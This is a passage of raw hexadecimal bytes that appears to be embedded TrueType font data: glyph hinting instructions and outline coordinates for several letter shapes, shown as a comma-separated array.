0xca,0x0,0x10,0x0,0x1c,0x0,0x5a,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, - 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x1a,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf, - 0xe,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb7,0x1,0x0, - 0x10,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9, - 0x1,0xf,0xe,0x4,0x3,0x4,0x10,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3, - 0xc,0x2,0x6,0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x1,0x11,0x23,0x11,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x32,0x17, - 0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a, - 0x8c,0x3,0x3f,0xfb,0xcf,0xa2,0xa4,0xd5,0xea,0x4f,0x3,0x7,0xfe,0xe1,0x9b,0x61, - 0x64,0xa0,0xa3,0x70,0x67,0x3,0xbc,0xfa,0xaa,0x2,0xe,0x3,0x85,0xd8,0x1,0x15, - 0x1,0x15,0xd6,0x87,0x3,0x76,0x66,0x96,0xef,0xe0,0x8b,0x8f,0xd2,0xfe,0x91,0x0, - 0x1,0x0,0x89,0x0,0x0,0x3,0x24,0x3,0xd2,0x0,0x12,0x0,0x56,0xb1,0x0,0x12, - 0x2f,0x3c,0xb3,0x11,0x10,0x1,0x12,0x10,0xdd,0x3c,0x3c,0xb3,0x9,0x8,0x7,0x1, - 0x10,0xc4,0xc0,0xc0,0xb3,0x3,0x2,0x1,0x12,0x11,0x12,0x39,0x39,0xb1,0xc,0x7, - 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x12, - 0x11,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x10,0x8,0x11,0x11,0x12,0x39,0xb3, - 0x3,0x2,0x1,0x8,0x11,0x12,0x39,0x39,0xb1,0x5,0x2,0x3f,0xb1,0xe,0x5,0x10, - 0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x20,0x11,0x7,0x23,0x37,0x36,0x35, - 0x34,0x23,0x22,0x19,0x1,0x23,0x89,0x8c,0xe,0x3,0x53,0xbf,0x1,0x8,0x1,0x8a, - 0x3,0x3,0xa0,0xea,0x8c,0x3,0xbc,0x6e,0x3,0x87,0xfe,0xf0,0x42,0x18,0x26,0xd, - 0x93,0xfe,0xdf,0xfd,0xc3,0x0,0x1,0x0,0x4f,0xff,0xf2,0x3,0x7c,0x3,0xca,0x0, - 0x26,0x0,0x3b,0xb7,0x26,0x21,0x15,0x14,0x13,0xd,0x1,0x0,0x2e,0x2e,0x2f,0x2f, - 0x2e,0x2e,0x2f,0x2f,0xb5,0x1c,0xd,0x16,0x13,0x7,0x21,0x10,0xcd,0x10,0xcd,0x10, - 0xcd,0x0,0xb1,0x15,0x14,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x24,0x2,0x10, - 0x0,0x3f,0x3f,0xb3,0x19,0x10,0x4,0x24,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23, - 0x34,0x26,0x23,0x22,0x6,0x15,0x14,0x1f,0x2,0x4,0x11,0x14,0x6,0x23,0x22,0x26, - 0x35,0x37,0x33,0x17,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x23,0x20,0x26,0x35,0x34, - 0x36,0x33,0x20,0x15,0x3,0x60,0x8c,0x51,0xa8,0x9c,0x54,0x8d,0x71,0x8f,0x1,0x4, - 0xac,0xe5,0xeb,0xb1,0x1,0x91,0x1,0x60,0x8d,0xad,0x6d,0x89,0xfe,0xc1,0xc9,0x9f, - 0xed,0x1,0x7c,0x2,0xc2,0x64,0x30,0x33,0x61,0x93,0x7,0x6,0x7,0xd,0xfe,0xfd, - 0xa1,0x78,0x72,0x98,0x34,0x2d,0x5e,0x3f,0x42,0x69,0x97,0x6c,0xaa,0xa1,0x6b,0xe5, - 0x0,0x0,0x1,0xff,0xf6,0xff,0xf2,0x2,0x9b,0x4,0xa2,0x0,0x17,0x0,0x75,0xb1, - 0x13,0x12,0x2f,0x3c,0xb5,0x15,0x14,0x11,0x10,0xf,0x4,0x17,0x2f,0x3c,0xb1,0x0, - 0x1,0x2f,0x3c,0xb5,0x17,0x16,0x3,0x2,0x3,0xf,0x10,0x17,0xdd,0x3c,0xb2,0xb, - 0xa,0x1,0x10,0xc0,0xc4,0xb3,0x9,0x7,0x1,0x2,0x11,0x12,0x39,0x39,0xb1,0x8, - 0xb,0x10,0xcd,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2,0x0,0x17,0x14,0x13, - 0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xa, - 0x9,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0x40,0x9,0x1,0x10,0xf,0x7,0x3,0x4, - 0x9,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0xd,0x0,0x3f,0xb1,0x5,0xd, - 0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x11,0x14,0x33,0x32,0x35,0x3f,0x1,0x33,0x17, - 0x10,0x21,0x20,0x3d,0x1,0x11,0x23,0x35,0x33,0x35,0x33,0x15,0x2,0x76,0xfe,0x90, - 0x88,0x87,0x1,0x2,0x82,0x1,0xfe,0xf4,0xfe,0xeb,0x84,0x84,0x8c,0x3,0xbc,0x74, - 0xfd,0xb7,0x99,0x89,0x2f,0x35,0x47,0xfe,0xe6,0xeb,0x22,0x2,0x49,0x74,0xe6,0xe6, - 0x0,0x0,0x1,0x0,0x7b,0xff,0xf2,0x3,0x87,0x3,0xbc,0x0,0x12,0x0,0x50,0xb1, - 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0xb,0xa,0x8,0x10,0xdd,0x3c, - 0xb3,0x12,0x11,0x2,0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x4,0x3,0x1,0x2,0x11,0x12, - 0x39,0x39,0x0,0xb6,0x1,0x0,0x12,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, - 0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb7,0x11,0xb,0x8,0x4,0x3,0x5,0x9,0x1, - 0x11,0x12,0x17,0x39,0xb1,0x6,0x0,0x3f,0xb1,0xe,0x6,0x10,0xcd,0x31,0x30,0x1, - 0x11,0x23,0x37,0x27,0x6,0x23,0x20,0x19,0x1,0x33,0x11,0x14,0x16,0x33,0x32,0x36, - 0x35,0x11,0x3,0x87,0x8c,0xa,0x3,0x49,0xef,0xfe,0xb1,0x8c,0x56,0x7e,0xa5,0x7b, - 0x3,0xbc,0xfc,0x44,0x7d,0x3,0x8e,0x1,0x4e,0x2,0x7c,0xfd,0x84,0x82,0x58,0x83, - 0xaf,0x2,0x24,0x0,0x1,0xff,0xf9,0x0,0x0,0x3,0x3f,0x3,0xbc,0x0,0xd,0x0, - 0x46,0x40,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1, - 0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0, - 0xb6,0x1,0x0,0xd,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1, - 0x2,0x1,0x2f,0x3c,0x40,0xb,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x8,0x3, - 0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x1,0x33,0x13,0x1f,0x2,0x33, - 0x3f,0x2,0x13,0x3,0x3f,0xfe,0xc0,0xc9,0xfe,0xc3,0x90,0xa9,0x35,0x19,0x1a,0x4, - 0x18,0x18,0x33,0xa2,0x3,0xbc,0xfc,0x44,0x3,0xbc,0xfd,0xf8,0xa3,0x52,0x52,0x51, - 0x52,0xa2,0x2,0xa,0x0,0x0,0x1,0x0,0x7,0x0,0x0,0x5,0x57,0x3,0xbc,0x0, - 0x21,0x0,0x87,0x40,0x22,0x21,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17, - 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7, - 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0x0,0x21,0x18, - 0x17,0xe,0xd,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0xc, - 0xb,0x2,0x1,0x3,0x17,0x2f,0x3c,0x40,0x1b,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a, - 0x19,0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xa,0x9,0x8,0x7,0x6,0x5,0x4, - 0x3,0x18,0xd,0x1,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x1,0x23,0x3,0x2f,0x2, - 0x23,0xf,0x2,0x3,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x33,0x13, - 0x1f,0x2,0x33,0x3f,0x2,0x13,0x5,0x57,0xfe,0xf4,0xd0,0x80,0x27,0x12,0x13,0x3, - 0x13,0x13,0x27,0x81,0xd4,0xfe,0xfd,0x93,0x87,0x2a,0x14,0x14,0x4,0x13,0x14,0x28, - 0x83,0xcc,0x82,0x28,0x13,0x13,0x3,0x15,0x14,0x2a,0x86,0x3,0xbc,0xfc,0x44,0x2, - 0x13,0xa2,0x51,0x51,0x51,0x51,0xa2,0xfd,0xed,0x3,0xbc,0xfd,0xef,0xa6,0x53,0x53, - 0x53,0x53,0xa5,0x2,0x12,0xfd,0xed,0xa5,0x52,0x53,0x53,0x53,0xa6,0x2,0x11,0x0, - 0x1,0xff,0xf9,0x0,0x0,0x3,0x42,0x3,0xbc,0x0,0xb,0x0,0x41,0x40,0xc,0xb, - 0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x0,0xb,0x9,0x8,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x6,0x5,0x3,0x2,0x3,0x17,0x2f,0x3c, - 0xb6,0xa,0x7,0x4,0x1,0x4,0x8,0x2,0x11,0x12,0x17,0x39,0x31,0x30,0x9,0x2, - 0x23,0xb,0x1,0x23,0x9,0x1,0x33,0x1b,0x1,0x3,0x1d,0xfe,0xca,0x1,0x5b,0xa7, - 0xfd,0xfe,0xa7,0x1,0x5b,0xfe,0xc9,0xa8,0xd9,0xd8,0x3,0xbc,0xfe,0x3e,0xfe,0x6, - 0x1,0x82,0xfe,0x7e,0x1,0xf4,0x1,0xc8,0xfe,0xa3,0x1,0x5d,0x0,0x0,0x1,0xff, - 0xf9,0xfe,0x53,0x3,0x22,0x3,0xbc,0x0,0x1a,0x0,0x58,0xb1,0x7,0x6,0x2f,0x3c, - 0xb1,0x10,0x6,0x10,0xc0,0xb7,0x1a,0x16,0x15,0x11,0xf,0xe,0x0,0x6,0x10,0xc0, - 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x0,0xb6,0x1,0x0,0x1a,0x11,0x10,0x0,0x0,0x13, - 0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0xf,0xe,0x2f,0x3c,0xb3,0x1,0x6,0x3,0x0, - 0x13,0x10,0xc0,0x13,0xb4,0x1,0x7,0xe,0x3,0x0,0x13,0x11,0x12,0x39,0x13,0xb3, - 0x16,0x15,0x10,0xe,0x11,0x12,0x39,0x39,0xb1,0x4,0x3,0x3f,0xb1,0x9,0x4,0x10, - 0xcd,0x31,0x30,0x9,0x1,0xe,0x1,0x23,0x22,0x27,0x35,0x16,0x17,0x16,0x3f,0x1, - 0x36,0x37,0x23,0x1,0x33,0x13,0x1f,0x2,0x33,0x3f,0x2,0x13,0x3,0x22,0xfe,0xf1, - 0x39,0x8b,0x81,0x1a,0x29,0x1d,0x14,0x71,0x37,0x1b,0x1,0x8,0x35,0xfe,0xa6,0x95, - 0x93,0x4a,0x24,0x25,0x4,0x1a,0x19,0x36,0x6c,0x3,0xbc,0xfc,0xd,0xd6,0xa0,0x7, - 0x74,0x6,0x1,0x6,0xbd,0x5e,0x5,0x1f,0x3,0xbc,0xfe,0x56,0xd4,0x6b,0x6a,0x6a, - 0x6b,0xd4,0x1,0xaa,0x0,0x0,0x1,0x0,0x2c,0x0,0x0,0x3,0xd,0x3,0xbc,0x0, - 0x9,0x0,0x45,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x0,0x9,0x2f,0x3c,0xb4,0x5,0x4, - 0x2,0x1,0x3,0x17,0x2f,0x3c,0xb3,0x8,0x3,0x1,0x9,0x11,0x12,0x39,0x39,0x0, - 0x40,0xb,0x1,0x9,0x8,0x2,0x0,0x1,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd, - 0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb3,0x7,0x2, - 0x8,0x3,0x11,0x12,0x39,0x39,0x31,0x30,0x13,0x21,0x15,0x1,0x21,0x15,0x21,0x35, - 0x1,0x21,0x5c,0x2,0xb1,0xfd,0xc6,0x2,0x3a,0xfd,0x1f,0x2,0x3c,0xfd,0xf4,0x3, - 0xbc,0x88,0xfd,0x40,0x74,0x85,0x2,0xc3,0x0,0x0,0x3,0x0,0x59,0xff,0xf2,0x6, - 0x3f,0x3,0xca,0x0,0x2d,0x0,0x36,0x0,0x40,0x0,0xa3,0xb1,0x1b,0x1a,0x2f,0x3c, - 0xb5,0x22,0x21,0x20,0x19,0x14,0x1a,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0x40,0xf,0x3e, - 0x36,0x35,0x2e,0x28,0x27,0x10,0xf,0xb,0xa,0x9,0x2,0x1,0x0,0x1a,0x10,0xc0, - 0xc0,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc4,0xb1,0x39,0x14, - 0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c,0xb1,0x2e,0x36,0x2f,0x3c,0xb1,0x22,0x21, - 0x2f,0x3c,0xb2,0x0,0x1,0x36,0x10,0xdd,0x3c,0xb5,0x1,0x10,0xf,0x9,0x0,0x0, - 0x13,0x11,0x12,0x39,0x39,0x13,0xb6,0x17,0x1a,0x19,0x17,0x3,0x36,0x1,0x11,0x12, - 0x17,0x39,0x2f,0xb3,0x35,0x1b,0x21,0x36,0x11,0x12,0x39,0x39,0xb5,0x1,0x28,0x27, - 0x2,0x0,0x21,0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x2a,0x2,0x25,0x2,0x12,0x0, - 0xd,0x0,0x3f,0x3f,0x3f,0x3f,0x40,0xa,0x3c,0x12,0x37,0x17,0x32,0x2a,0x1e,0x25, - 0x5,0xd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21, - 0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x37,0x33,0x15,0x10,0x21,0x20,0x27,0x23,0x6, - 0x21,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x33,0x35,0x34,0x26,0x23,0x22,0x1d,0x1, - 0x23,0x3e,0x1,0x33,0x20,0x17,0x33,0x36,0x21,0x32,0x16,0x11,0x2f,0x1,0x34,0x26, - 0x23,0x22,0x6,0x15,0x7,0x5,0x22,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x6, - 0x3f,0xfd,0x57,0x62,0xc0,0x98,0x60,0x1,0x8e,0xfe,0x68,0xfe,0xdd,0x3d,0x3,0x3e, - 0xfe,0xe3,0xfe,0x70,0xa9,0xdb,0xe9,0x3f,0x3,0x65,0x9e,0xf5,0x94,0xd,0x89,0xd0, - 0x1,0x3e,0x33,0x3,0x45,0x1,0x8,0xf9,0xa2,0x8d,0x1,0x6b,0x9a,0xa2,0x73,0x1, - 0xfe,0x45,0xee,0x6e,0x9d,0x1,0x12,0x7d,0x1,0xcf,0x28,0xd4,0x6d,0x3f,0x63,0x19, - 0x28,0xfe,0xf9,0xa1,0xa1,0x1,0x25,0xa4,0x7f,0x61,0xa2,0x8a,0x58,0x8e,0x15,0xa8, - 0x68,0x7b,0x7b,0xad,0xfe,0xf7,0x2f,0x30,0x86,0x5d,0x64,0x8d,0x22,0x7d,0xa8,0x6c, - 0x4c,0xb4,0x65,0x47,0x0,0x0,0x3,0x0,0x5f,0xff,0xf2,0x6,0x51,0x3,0xca,0x0, - 0x1f,0x0,0x26,0x0,0x32,0x0,0x6f,0x40,0xe,0x30,0x26,0x20,0x1f,0x1a,0x19,0x14, - 0xf,0xe,0x9,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e, - 0x2e,0x2f,0x2e,0x2e,0x2f,0xb1,0x2a,0x14,0x10,0xcd,0x0,0xb1,0x9,0x8,0x2f,0x3c, - 0xb1,0x20,0x26,0x2f,0x3c,0xb2,0x0,0x1,0x26,0x10,0xdd,0x3c,0xb5,0x1,0xf,0xe, - 0x8,0x0,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0xb5,0x1,0x1a,0x19,0x2,0x0,0x26, - 0x11,0x14,0x12,0x39,0x39,0x14,0xb7,0x1c,0x2,0x17,0x2,0x11,0x0,0xc,0x0,0x3f, - 0x3f,0x3f,0x3f,0xb7,0x2d,0x11,0x27,0x17,0x23,0x1c,0x5,0xc,0x10,0xcd,0x10,0xcd, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x21,0x7,0x14,0x16,0x33,0x32,0x36,0x35,0x33, - 0x14,0x6,0x21,0x22,0x27,0x23,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x33,0x20,0x17, - 0x33,0x36,0x21,0x32,0x16,0x11,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x1,0x22,0x6, - 0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x6,0x51,0xfd,0x5c,0x1,0x66,0xae, - 0xa2,0x60,0x8f,0xa9,0xfe,0xf0,0xf3,0x44,0x3,0x3a,0xfe,0xdc,0xfe,0xfb,0x9c,0x9d, - 0xf2,0x1,0x46,0x2a,0x3,0x3d,0x1,0x17,0xf7,0xa5,0x8f,0x61,0x9b,0xb0,0x6d,0xfe, - 0x5d,0xbb,0x59,0x59,0xbb,0xbb,0x59,0x59,0x1,0xcf,0x36,0xc1,0x72,0x46,0x75,0xbb, - 0x74,0x87,0x87,0xbd,0x1,0x3e,0x1,0x21,0xbc,0x8b,0x8b,0xad,0xfe,0xfe,0x28,0xa9, - 0x6a,0x69,0xaa,0x1,0x13,0x79,0xff,0xff,0x79,0x79,0xff,0xfe,0x7a,0x0,0x3,0x0, - 0x3b,0xff,0xdf,0x3,0xd1,0x3,0xd2,0x0,0x13,0x0,0x1b,0x0,0x23,0x0,0x76,0xb1, - 0x0,0x1,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0x40,0xf,0xe,0x4,0x23,0x1c,0x1b, - 0x14,0x13,0xe,0xc,0x9,0x4,0x2,0xa,0xa,0x1,0x11,0x12,0x17,0x39,0x2f,0x2f, - 0xb3,0x21,0x4,0x19,0xe,0x10,0xcd,0x10,0xcd,0x0,0xb6,0x1,0x1,0x0,0x0,0x0, - 0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0x11,0x1,0x1,0x23,0x1c,0x1b, - 0x14,0x13,0xc,0xb,0x9,0x2,0x1,0xa,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12, - 0x17,0x39,0x13,0x14,0xb6,0x1,0x1,0xa,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, - 0x39,0x13,0x14,0xb3,0x11,0x0,0x7,0x2,0x3f,0x3f,0xb3,0x1e,0x7,0x16,0x11,0x10, - 0xcd,0x10,0xcd,0x31,0x30,0x17,0x35,0x37,0x26,0x35,0x10,0x36,0x21,0x20,0x17,0x37, - 0x15,0x7,0x16,0x15,0x10,0x6,0x23,0x20,0x27,0x37,0x16,0x33,0x32,0x36,0x11,0x34, - 0x2f,0x1,0x26,0x23,0x22,0x6,0x11,0x14,0x17,0x3b,0x45,0x21,0x9f,0x1,0xd,0x1, - 0x7,0x4f,0x70,0x44,0x20,0x9a,0xf6,0xfe,0xe9,0x56,0x66,0x2b,0xae,0xcf,0x5c,0x7, - 0x18,0x2b,0xb5,0xcd,0x5c,0x8,0x21,0x81,0x42,0x62,0xd9,0x1,0x36,0xb7,0x64,0x6c, - 0x80,0x42,0x5f,0xc3,0xfe,0xc8,0xc4,0x5d,0x63,0x4c,0x78,0x1,0xf,0x55,0x59,0x69, - 0x52,0x75,0xfe,0xfb,0x70,0x55,0x0,0x0,0x1,0x0,0x82,0xff,0xf2,0x3,0xbd,0x5, - 0x63,0x0,0x29,0x0,0x7c,0xb2,0x0,0x2,0x1,0x2f,0x3c,0x3c,0xb1,0x1f,0x1e,0x2f, - 0x3c,0xb2,0x29,0x28,0x1,0x10,0xdd,0x3c,0xb6,0x1d,0x13,0xc,0x9,0x8,0x6,0x1e, - 0x10,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xb4,0x11,0x12,0x11,0x1e,0x28,0x11,0x12,0x39, - 0x39,0x2f,0xb3,0x23,0x6,0x19,0xc,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0,0x29,0x2f, - 0x3c,0xb1,0x13,0x12,0x2f,0x3c,0x40,0xc,0x1c,0x1,0x1f,0x1e,0x1d,0x1c,0x9,0x8, - 0x6,0x2,0x0,0x12,0x11,0x14,0x12,0x17,0x39,0x14,0x2f,0x40,0xa,0x1,0x1,0x28, - 0x2,0x1,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb3, - 0xf,0x0,0x4,0x1,0x3f,0x3f,0xb3,0x26,0x4,0x16,0xf,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x33,0x11,0x35,0x10,0x21,0x20,0x11,0x14,0x7,0x15,0x1e,0x1,0x15,0x10,0x6, - 0x23,0x20,0x11,0x37,0x33,0x17,0x14,0x33,0x32,0x36,0x35,0x34,0x26,0x2b,0x2,0x35, - 0x33,0x37,0x32,0x35,0x34,0x26,0x23,0x22,0x15,0x11,0x82,0x1,0x75,0x1,0x7a,0xb2, - 0x97,0x67,0x8e,0xb4,0xfe,0xf2,0x1,0x89,0x1,0x84,0x6c,0x42,0x6f,0xa4,0x4e,0x27, - 0x20,0x32,0xea,0x59,0x97,0xe0,0x4,0x1f,0x28,0x1,0x1c,0xfe,0xf3,0xb8,0x2b,0x2, - 0x1f,0xab,0xdd,0xfe,0xf9,0xd1,0x1,0x1e,0x14,0x1d,0xa1,0x88,0xdc,0xd9,0x91,0x79, - 0x1,0x91,0x6f,0x41,0xc3,0xfb,0xd4,0x0,0x1,0x0,0x7b,0x0,0x0,0x1,0x7,0x3, - 0xbc,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd, - 0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1, - 0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11,0x1,0x7,0x8c,0x3,0xbc,0xfc,0x44,0x3, - 0xbc,0x0,0x3,0x0,0xe,0x0,0x0,0x3,0x2d,0x5,0x63,0x0,0x13,0x0,0x17,0x0, - 0x1b,0x0,0x96,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, - 0x3c,0xb1,0x14,0x15,0x2f,0x3c,0xb1,0x18,0x19,0x2f,0x3c,0xb5,0x11,0x10,0xa,0x9, - 0x3,0x2,0x10,0x17,0xdd,0x3c,0xb5,0x13,0x12,0xf,0xe,0x3,0x1,0x10,0x17,0xdd, - 0x3c,0xb2,0x17,0x16,0x15,0x10,0xdd,0x3c,0xb2,0x1b,0x1a,0x19,0x10,0xdd,0x3c,0x0, - 0x40,0x15,0x1,0x18,0x1b,0x0,0x16,0x15,0x1,0x14,0x17,0x0,0x12,0x11,0x2,0x1, - 0x2,0x10,0xf,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd, - 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x0,0x13,0x2f, - 0x3c,0xb1,0x1a,0x19,0x2f,0x3c,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13,0xb7, - 0x1,0xe,0xa,0x5,0x3,0x1,0x0,0x3,0x11,0x14,0x12,0x17,0x39,0x14,0xb1,0x7, - 0x1,0x3f,0xb1,0xc,0x7,0x10,0xcd,0x31,0x30,0x33,0x11,0x23,0x35,0x33,0x35,0x10, - 0x21,0x32,0x17,0x15,0x26,0x23,0x22,0x1d,0x1,0x33,0x15,0x23,0x11,0x1,0x15,0x23, - 0x35,0x13,0x11,0x23,0x11,0xa0,0x92,0x92,0x1,0x21,0x2b,0x3a,0x44,0x1f,0x97,0xfa, - 0xfa,0x2,0x1,0x8c,0x8c,0x8c,0x3,0x48,0x74,0x8e,0x1,0x19,0x7,0x74,0x7,0x98, - 0x9b,0x74,0xfc,0xb8,0x5,0x55,0x9d,0x9d,0xfe,0x67,0xfc,0x44,0x3,0xbc,0x0,0x0, - 0x2,0x0,0xe,0x0,0x0,0x3,0x2d,0x5,0x63,0x0,0x13,0x0,0x17,0x0,0x7e,0xb1, - 0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x14,0x15, - 0x2f,0x3c,0xb5,0x11,0x10,0xa,0x9,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb5,0x13,0x12, - 0xf,0xe,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0x17,0x16,0x15,0x10,0xdd,0x3c,0x0, - 0x40,0xf,0x1,0x14,0x17,0x0,0x12,0x11,0x2,0x1,0x2,0x10,0xf,0x4,0x3,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0x13, - 0xb1,0x0,0x13,0x2f,0x3c,0xb1,0x16,0x15,0x2f,0x3c,0xb3,0x1,0x9,0x1,0x0,0x13, - 0x10,0xc0,0x13,0xb7,0x1,0xe,0xa,0x5,0x3,0x1,0x0,0x3,0x11,0x14,0x12,0x17, - 0x39,0x14,0xb1,0x7,0x1,0x3f,0xb1,0xc,0x7,0x10,0xcd,0x31,0x30,0x33,0x11,0x23, - 0x35,0x33,0x35,0x10,0x21,0x32,0x17,0x15,0x26,0x23,0x22,0x1d,0x1,0x33,0x15,0x23, - 0x11,0x1,0x11,0x23,0x11,0xa0,0x92,0x92,0x1,0x21,0x2b,0x3a,0x44,0x1f,0x97,0xfa, - 0xfa,0x2,0x1,0x8c,0x3,0x48,0x74,0x8e,0x1,0x19,0x7,0x74,0x7,0x98,0x9b,0x74, - 0xfc,0xb8,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x0,0x2,0x0,0x5f,0xfe,0xa3,0x3, - 0x99,0x3,0xca,0x0,0x1a,0x0,0x1e,0x0,0x4f,0x40,0xb,0x1e,0x1d,0x1c,0x1b,0xf, - 0xe,0xd,0x7,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e, - 0x2e,0xb1,0x15,0x7,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xe,0xd,0x2f, - 0x3c,0x40,0xb,0x1,0x1,0x1e,0x1d,0x1c,0x1b,0x4,0x0,0x0,0x3,0x0,0x13,0x11, - 0x14,0x12,0x17,0x39,0x13,0x14,0xb3,0xa,0x2,0x4,0x0,0x3f,0x3f,0xb3,0x18,0x4, - 0x12,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x17,0x10,0x21,0x20,0x26,0x11, - 0x10,0x36,0x33,0x32,0x16,0x15,0x23,0x35,0x34,0x26,0x23,0x22,0x6,0x15,0x14,0x16, - 0x33,0x32,0x36,0x1,0x17,0x7,0x27,0x3,0xc,0x8c,0x1,0xfe,0x6e,0xfe,0xfe,0xa6, - 